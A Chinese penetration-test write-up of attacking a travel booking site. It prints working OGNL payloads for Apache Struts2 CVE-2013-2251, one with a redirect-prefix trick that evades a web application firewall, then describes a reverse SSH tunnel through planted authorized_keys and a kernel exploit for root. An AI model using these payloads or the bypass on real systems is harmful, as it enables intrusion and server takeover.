一次绕过防火墙获取RCE以及提权到root权限的渗透过程
本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之, 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。
现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙厂商开始更新它们的规则引擎和检测技术,以防止它发生。 但是作者不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。
当作者在测试旅行预订网站时,是 因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用,只需检查以下易受攻击的参数-“action, redirect,redirectAction”和正确的有效攻击负载,通过google找到利用poc的博客(必须构建一个OGNL表达式),http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ,下面是用于运行命令“ifconfig”的有效负载。
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
但正如预料的那样,它被应用防火墙阻止了,并将重定向到一个bot机器页面 。
当这样的事情发生在作者身上时,正如前面指出的那样,知道哪些参数易受攻击,其中之一是在上述请求中使用的“redirect”参数。 “redirect”,是的,你觉得它是正确的,让我们尝试在这里重定向,只是把它重定向到http://www.goal.com
正如你所看到的那样,作者得到了302重定向到位置http://www.goal.com ,所以之前的ifconfig命令有效载荷被阻止了,这个重定向方法,给了作者一个绕过防火墙的思路,所以,将上面的有效负载进行修改如下:
redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
并发起请求:
下面显示了能够绕过防火墙并获得运行的“ifconfig”命令输出信息:
下一个目标是获得服务器的远程shell,作者使用反向SSH隧道和公钥认证来尝试并获取shell,它允许SSH用户在不输入密码的情况下登录。 因此,作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys,为了获取授权身份,并且获取为反向ssh隧道,还必须添加受害ssh服务器的id_rsa.pub公钥。 为了阐述上面2个关键词的概念并理解公钥认证的概念-----id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。
第一步 - 使用RCE查找受害服务器的id_rsa.pub文件位置
第二步 - 将authorized_keys从受害者服务器复制到攻击者服务器上
第三步 - 将修改后的authorized_keys从攻击者服务器复制回来,通过读取id_rsa.pub获得shell.
最后一步 - SSH在攻击者机器上使用反向隧道,所以运行了如下命令行:
能够获得服务器的远程shell,但没以root登陆的权限,这就意味着只有有限的权利访问文件和命令执行。 现在为了获取以root用户身份登录的权限,作者首先查看当前受害机器上运行的内核版本是什么:
因此发现了内核版本是2.6.32,通过google查找到利用的CVE,该CVE可
容易进行账户提权和漏洞利用----https: //github.com/realtalk/cve-2013-2094 ,最终够获得root用户权限。
这就是如何通过利用apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程shell。
一次绕过防火墙获取RCE以及提权到root权限的渗透过程的更多相关文章
- 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器
本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...
- Linux 曝出严重安全漏洞,受限用户亦可提权至 Root 身份运行任意命令!(内附解决方案)
本文首发于:微信公众号「运维之美」,公众号 ID:Hi-Linux. 「运维之美」是一个有情怀.有态度,专注于 Linux 运维相关技术文章分享的公众号.公众号致力于为广大运维工作者分享各类技术文章和 ...
- Centos普通用户提权至ROOT
1.利用/bin/ping的漏洞普通用户提权.(rws中的s) [root@localhost ~]# ls -l /bin/ping -rwsr-xr-x. root root 9月 /bin/pi ...
- Android 的提权(root)原理【转】
Android的内核就是Linux,所以Android获取root其实和Linux获取root权限是一回事儿. su还需要所有者(Owner)是root才能正确的给其他程序赋予root权限.linux ...
- 利用IIS6提权获得管理员权限
IIS6也是一个比较古老的提权EXP了,是通过利用WMI的权限来执行命令. 目标机:漏洞巨多的Win2003 下面说一下通过IIS6在已用菜刀连接上的服务器上运用IIS6获得管理员权限的过程. 1.将 ...
- windows中命令行窗口提权到管理员权限.windows 的 sudo
命令行环境中获取管理员权限 第一种方法 (最爽,但是被运行的命令会被当成新进程运行,运行完成后就自动关闭了.) 把以下代码复制到记事本中保存为sudo.vbs 然后移动到PATH任意目录中,如wind ...
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- (CVE-2016-5195)脏牛本地提权
简要分析 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏, 导致出现写数据到进程地址空间内只读内存 ...
- Linux提权手法整理
之前写过了windows提权小结,这下一篇水什么就有了嘛,于是有了这篇水文,整理一下Linux提权 前篇windows提权小结 ,链接送上 https://www.cnblogs.com/lcxblo ...
随机推荐
- Python常用模块之PIL(手册篇:Image模块)
官方手册地址:http://effbot.org/imagingbook/image.htm Image模块 图像模块提供了一个具有相同名称的类,用于表示一个PIL的图像.该模块还提供了许多功能,包 ...
- LINUX开发使用的3个远程工具
1,SecureCRT 2,SSH Secure Shell Client 3,VNC Viewer 如果想VNC Server启动时加载vncserver服务 需要修改/etc/rc.d/rc.lo ...
- Tomcat安全管理规范
s 前言 随着公司内部使用Tomcat作为web应用服务器的规模越来越大,为保证Tomcat的配置安全,防止信息泄露,恶性攻击以及配置的安全规范,特制定此Tomcat安全配置规范. 定位:仅对tomc ...
- 关于inherit的笔记
1. inherit是动态的 <!DOCTYPE html> <html lang="en"> <head> <meta charset= ...
- Alpha发布PSP Daily评价总结报告
Alpha发布PSP Daily评价总结报告 优点: 1.用户人群较为明确,定位较为准确. 2.亮点:暂停任务时是无法结束当前任务的. 3.说明书写的详细.语言流畅.能实现的功能都体现出来. 4.下拉 ...
- web14 validation.xml配置 登录验证文件配置
电影网站:www.aikan66.com 项目网站:www.aikan66.com 游戏网站:www.aikan66.com 图片网站:www.aikan66.com 书籍网站:www.aikan66 ...
- 重学 以太网的mac协议的CSMA/CD
之前上课一直模糊的CSMA/CD进行系统性整理. CSMA/CD (Carrier Sense Multiple Acess/Collision Detect)应用在OSI的 数据链路层 在以太网中, ...
- ASP.NET MVC 3.0 参考源码索引
http://www.projky.com/asp.netmvc/3.0/Microsoft/Internal/Web/Utils/CommonResources.cs.htmlhttp://www. ...
- C++内存布局(1)-让new出的两个变量在堆上的地址连续
大家都知道栈的地址按照从高到低的顺序增长的, 而堆的地址是按照从底到高的顺序增长的. ); ); cout<<"n1,n2所指的地址:" << n1 < ...
- contos7忘记root密码怎么办
首先在这个界面按"e"键 然后呢就会进入到如下图所示的界面,在LANG=zh_CN.UTF8的后面加上 init=/bin/sh, 再按 [ Ctrl + X ] 进入'单用户模式 ...